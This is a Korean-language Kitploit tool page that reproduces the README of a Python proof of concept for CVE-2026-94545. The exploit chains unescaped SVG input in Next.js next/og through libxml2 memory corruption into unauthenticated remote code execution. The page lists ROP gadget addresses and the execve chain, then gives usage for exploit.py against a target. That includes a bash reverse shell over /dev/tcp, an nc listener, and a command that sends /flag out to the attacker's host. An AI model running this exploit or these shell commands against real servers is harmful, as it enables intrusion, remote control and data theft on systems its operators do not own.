Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-94545- — CVE-2026-94545에 대한 Python PoC: Next.js next/og의 이스케이프되지 않은 SVG 입력을 악용하여 libxml2 손상과 인증되지 않은 RCE를 위한 ROP 체인을 트리거합니다. | Kitploit
도구/GitHubGitHub/mrdark-ops/cve-2026-94545-
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationWeb SecurityBinary Exploitation
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

CVE-2026-94545에 대한 Python PoC: Next.js next/og의 이스케이프되지 않은 SVG 입력을 악용하여 libxml2 손상과 인증되지 않은 RCE를 위한 ROP 체인을 트리거합니다.

저장소 보기
111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-94545: Next.js next/og 인증되지 않은 원격 코드 실행

보안 연구 전용, 권한이 부여된 취약점 환경에서만 사용하십시오.

항목값
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
업스트림Satori GHSA-wx4j-mvgx-mqwp
근본 원인CWE-116 (출력의 부적절한 인코딩 또는 이스케이프) → 네이티브 XML 파서 메모리 손상 → RCE
영향받는 버전Next.js 16.2.0 – 16.3.5 (sharp가 설치된 Node 런타임); 번들된 Satori ≥ 0.0.27 및 < 0.33.5
수정 버전Next.js 16.3.6 / Satori 0.33.5
영향인증 없이 Next.js 서비스 프로세스에서 임의 명령 실행
테스트 환경Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + Node.js v24.20.0 공식 x64 바이너리 (non-PIE)

Edge 런타임(export const runtime = 'edge')을 사용하거나 sharp가 설치되지 않은 경우, 렌더링은 resvg-wasm 샌드박스를 거치므로 이 취약점은 네이티브 파싱 체인에 도달하지 않으며 따라서 RCE로 이어지지 않습니다.

취약점 체인

사용자 입력이 일반 텍스트로 SVG에 연결되고, 이 SVG는 통째로 data: URL에 삽입되어 C 언어 XML 파서에 전달되어 두 번째 파싱 라운드를 거칩니다. 그 사이에는 URL 인코딩만 수행되며, XML 이스케이프는 전혀 이루어지지 않습니다.

계층 1: App Router — 신뢰할 수 없는 입력이 렌더 함수로 진입

전형적인 패턴: POST /api/og가 전체 요청 본문을, 또는 GET /api/og?value=가 쿼리 매개변수를 필터링이나 이스케이프 없이 ImageResponse의 SVG <title>에 직접 삽입합니다.

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse는 JSX 엘리먼트 트리를 받아 PNG를 반환합니다. 요청 데이터를 SVG 자식 노드 / 속성 / 스타일에 기록하는 모든 라우트는 싱크(sink)입니다.

레이어 2: next/og 진입점 포워딩

node_modules/next/og.js는 next/dist/server/og/image-response.js로 포워딩합니다. Node 런타임은 next/dist/compiled/@vercel/og/index.node.js(네이티브 경로)를 동적으로 로드하며, Edge 런타임은 wasm 경로를 로드하므로 이 취약점의 영향을 받지 않습니다.

레이어 3: @vercel/og — Satori가 SVG를 생성한 뒤 래스터화를 위해 넘김

Next.js에 번들된 @vercel/og(컴파일된 아티팩트 주석을 통해 [email protected]이 포함되어 있음이 확인됨)의 흐름은 다음과 같습니다:

  1. Satori를 사용하여 JSX 트리를 SVG 문자열로 직렬화합니다.
  2. sharp가 감지되면 SVG를 네이티브 라이브러리에 넘겨 래스터화하고, 그렇지 않으면 resvg-wasm으로 폴백합니다.
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

이 시점에서 사용자 입력은 이미 SVG 문자열이 되어 sharp(네이티브 libvips)에 그대로 전달됩니다.

계층 4: Satori 0.25.0 — 텍스트는 URL 인코딩만 되고 XML 이스케이프는 되지 않음

JSX로 명시적으로 작성된 <svg>의 경우, Satori는 이를 전체적으로 data:image/svg+xml URL로 직렬화한 다음 출력에 <image>로 삽입합니다.

vercel/[email protected] src/layout.ts: <svg> 노드에 진입할 때 SVGNodeToImage를 호출합니다.

src/handler/preprocess.ts에는 두 가지 핵심 결함이 있습니다:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&, <, >는 &amp; / &lt; / &gt;로 작성되지 않습니다. 퍼센트 인코딩은 단지 URL 구문 요구 사항일 뿐입니다. 다운스트림 파서가 data: URL을 로드할 때 %3C/title%3E는 실제 </title>로 복원되며, 공격자의 텍스트는 "데이터"에서 다시 "문서 구조"로 전환됩니다.

입력이 </title><xi:include …/><title>일 때, Satori가 sharp에 전달하는 중간 SVG는 다음과 같은 형태를 취합니다(설명을 위해 디코딩됨):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

계층 5: sharp → libvips → librsvg → libxml2 — 네이티브 파싱 및 메모리 손상

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

페이로드는 libxml2의 입력 구조를 제어하기 위해 두 계층의 인젝션을 사용합니다:

  1. 외부의 </title><xi:include parse="xml" href="data:…">는 파서가 공격자가 완전히 제어하는 중첩 문서를 로드하도록 만듭니다.
  2. 중첩 문서 내부에서는 중첩 DTD 엔티티 + XInclude를 사용하여 지나치게 깊고 넓은 엔티티 확장 및 참조 그래프를 구성합니다.

libxml2의 내부 상태가 예상을 넘어 밀려나면서 범위를 벗어난 쓰기(out-of-bounds write)가 발생합니다. 손상 효과는 신중하게 배치된 SVG <path> 좌표 시퀀스(8바이트 리틀 엔디언 워드를 담은 IEEE-754 배정밀도)를 통해 안정적으로 발생하여 제어 흐름을 탈취합니다.

계층 6: Non-PIE Node 고정 주소 ROP → execve

공식 배포되는 Node.js linux-x64 바이너리는 고정 로드 베이스를 가진 non-PIE 실행 파일이며, PLT / GOT 및 가젯 주소가 상수이므로 정보 유출이 필요하지 않습니다.

이 PoC는 Node.js v24.20.0 공식 x64를 대상으로 빌드되었으며, 가젯은 다음과 같습니다:

심볼주소용도
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret (스크래치 영역에 qword 단위로 기록)
EXECVE_PLT0x745FA0execve의 PLT 스텁
SCRATCH0x6B5F500고정 쓰기 가능 주소

ROP 체인은 먼저 pop rax / stosq를 사용하여 "/bin/sh\0", "-c\0", 명령 문자열, argv 배열을 SCRATCH에 qword 단위로 기록한 다음, rdi = path, rsi = argv, rdx = envp(0)를 설정하고 EXECVE_PLT로 점프합니다:

execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)

렌더링 프로세스 자체가 execve로 대체되며, HTTP 연결이 끊기고 서비스가 응답을 중단합니다. 이는 이 취약점의 성공적인 악용이 나타내는 본질적인 현상입니다. 새 프로세스는 Node 프로세스 환경을 상속하며 임의의 명령을 실행할 수 있습니다.

스크립트 사용법

exploit.py는 Python 3 표준 라이브러리로 구현되었으며, 서드파티 의존성이 없습니다. 명령을 SVG <path> 좌표로 인코딩한 다음, XInclude + 중첩 DTD 엔티티를 통해 /api/og로 POST되는 페이로드를 조립합니다.

ROP 체인은 위에서 설명한 Node v24.20.0 / sharp 0.35.4 스택에 맞춰 보정되었습니다. 대상은 다음 조건을 충족해야 합니다:

  • Next.js 16.2.0 – 16.3.5, 라우트 runtime = 'nodejs', sharp 설치됨
  • 공식 비-PIE Node.js v24.20.0 linux-x64 (가젯 주소가 해당 빌드에 바인딩됨)
  • OG 라우트에 인증이 필요 없고, 사용자 입력이 SVG 텍스트 노드에 들어감 (기본적으로 <title>을 통해 닫힘)
  • 명령 출력은 HTTP 응답에 나타나지 않으므로 리버스 셸 또는 대역 외 유출이 필요하며, 대상 머신이 수신기에 도달할 수 있어야 함

엄격한 제약 사항:

  1. 성공적인 악용은 매번 웹사이트 프로세스를 종료합니다. 연결 재설정 / 빈 응답 / 이어지는 502는 모두 예상된 결과이며, 다음 시도 전에 환경을 재시작해야 합니다.
  2. 명령은 출력 가능한 ASCII여야 하고, NUL을 포함하지 않아야 하며, 길이가 ≤ 71바이트여야 합니다.
  3. 대상에서 /bin/sh는 일반적으로 dash이며, 이는 >/dev/tcp/...를 지원하지 않습니다. /dev/tcp가 필요할 때는 bash -c '...'로 감싸야 합니다.
  4. 스크립트는 기본적으로 HTTP를 사용합니다. 대상이 HTTPS라면 --output을 사용해 페이로드만 생성한 다음, curl로 직접 전달하십시오.

리버스 셸

수신 측에서 먼저 리스너를 시작하거나, 스크립트가 nc를 직접 실행하도록 하십시오:

# In another terminal on your machine
nc -lvnp 4444

python3 exploit.py --target <host>:<port> --lhost <lhost>:4444

--lhost가 --command 없이 주어지면, 스크립트는 다음을 생성합니다:

bash -c 'bash -i>&/dev/tcp/<lhost>/<port> 0>&1'

셸을 확보한 후에는 파일을 읽고 후속 명령을 실행할 수 있습니다. 전체 명령이 여전히 71바이트 제한을 받는다는 점에 유의하세요.

원샷 대역 외 유출

# Receiver
nc -lvnp 4444

python3 exploit.py --target <host>:<port> \
  --command 'bash -c "cat /flag>/dev/tcp/<lhost>/4444"'

페이로드만 생성하고 직접 전달하기

도구 다운로드